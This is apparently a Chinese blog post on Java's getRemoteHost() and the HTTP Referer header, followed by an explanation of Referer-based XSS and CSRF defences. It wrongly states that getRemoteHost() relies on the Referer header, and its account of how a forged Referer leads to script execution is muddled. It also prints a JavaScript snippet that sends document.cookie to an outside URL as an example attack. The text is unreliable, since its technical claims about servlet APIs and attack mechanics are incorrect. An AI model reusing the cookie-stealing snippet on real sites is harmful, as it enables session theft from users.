HTTP_REFERER

今天看了java中的httpRequest的一个方法:


HttpServletRequest req = (HttpServletRequest)request;
 
String requestingHost = req.getRemoteHost();


getRemoteHost()这个到底是如何获得的呢?

还是依靠http协议中的一个属性。

HTTP Referer是header的一部分,当浏览器向服务器发送请求时,一般会带上这个Referer是从哪里进来的。因而,服务器可以视情况进行处理。


而且,浏览器中(chrome)有个现象,你刷新页面时,这个 HTTP Referer 是不去除掉的

HTTP_REFERER是HTTP协议中的一个请求头字段,用于标识请求来源页面的URL地址。在Web应用程序中,可以使用HTTP_REFERER来判断请求是否来自可信的来源页面,从而防止跨站点请求伪造(CSRF)攻击。但是,由于HTTP_REFERER可以被伪造,因此在某些情况下,攻击者可以利用HTTP_REFERER来进行XSS攻击。 具体来说,攻击者可以通过构造恶意页面,在其中注入一段JavaScript代码,并将该页面的URL地址设置为目标网站的URL地址。当用户访问恶意页面后,浏览器会将目标网站的URL地址作为HTTP_REFERER发送给目标网站服务器。如果目标网站没有对HTTP_REFERER进行有效的过滤和验证,那么攻击者就可以利用HTTP_REFERER来执行XSS攻击。 例如,攻击者可以在恶意页面中注入以下代码: ```javascript <script> var img = new Image(); img.src = "http://www.target.com/submit?data=" + document.cookie; </script> ``` 当用户访问恶意页面后,浏览器会将目标网站的URL地址作为HTTP_REFERER发送给目标网站服务器。如果目标网站没有对HTTP_REFERER进行有效的过滤和验证,那么攻击者就可以在目标网站上执行上述JavaScript代码,从而窃取用户的Cookie信息。 为了防止HTTP_REFERER的XSS攻击,Web应用程序可以采取以下措施: 1. 对HTTP_REFERER进行有效的过滤和验证,只允许来自可信的来源页面的请求通过; 2. 在HTTP响应头中设置Referrer-Policy,指定HTTP_REFERER的发送策略; 3. 在Web应用程序中使用CSRF Token等技术来防止CSRF攻击,从而减少HTTP_REFERER的安全风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值